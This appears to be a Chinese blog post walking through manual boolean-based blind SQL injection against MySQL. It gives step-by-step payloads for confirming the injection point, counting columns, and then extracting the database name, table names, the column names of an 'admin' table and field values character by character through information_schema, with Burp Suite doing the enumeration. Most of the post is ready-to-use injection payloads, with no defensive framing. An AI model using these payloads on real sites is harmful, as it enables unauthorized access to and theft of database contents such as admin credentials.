MySQL手工布尔盲注

(1)测试注入点

(1.1)链接后加 ’ 号页面报错,爆出错误信息

(1.2)链接后加 ’ and 1=1–+ 返回页面正常

在这里插入图片描述

(1.3)链接后加 ’ and 1=2–+ 返回页面错误

(2)爆数据库相关信息

(2.1)使用 order by 语句爆出表字段数为8

(2.2)使用 union select 发现语句报错,此时不能使用联合查询语句,于是想到了布尔注入

(2.3)使用Burpsuite 爆数据库相关信息
' and length(database())=数值--+							#判断数据库名长度,
' and ord(substr( database(),1,1))=32--+					#数据库名对应位数的ASCLL码
' and substr( database(),1,1)=‘a’--+						#数据库名对应位数的值,推荐使用ASCLL码,使用二分法判断更加快速

(2.4)爆数据库表名

改变数值查询出想要的表名,此时也可以使用Burpsuite

' and ord(substr((select table_name from information_schema.tables where table_schema='表名' limit 0,1),1,1))=32--+				#表名对应位数的ASCLL码
' and substr((select table_name from information_schema.tables where table_schema='表名' limit 0,1),1,1)=‘a’--+						#表名对应位数的值

(2.5)爆表字段名
' and ord(substr((select column_name from information_schema.columns where table_name='admin' limit 0,1),1,1))=32--+
' and substr((select column_name from information_schema.columns where table_name='admin' limit 0,1),1,1)='a'--+

(2.6)爆字段值
' and ord(substr((select 字段名 from 表名 limit 0,1),1,1))=32--+
' and ord(substr((select 字段名 from 表名 where id=1),1,1))=32--+

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值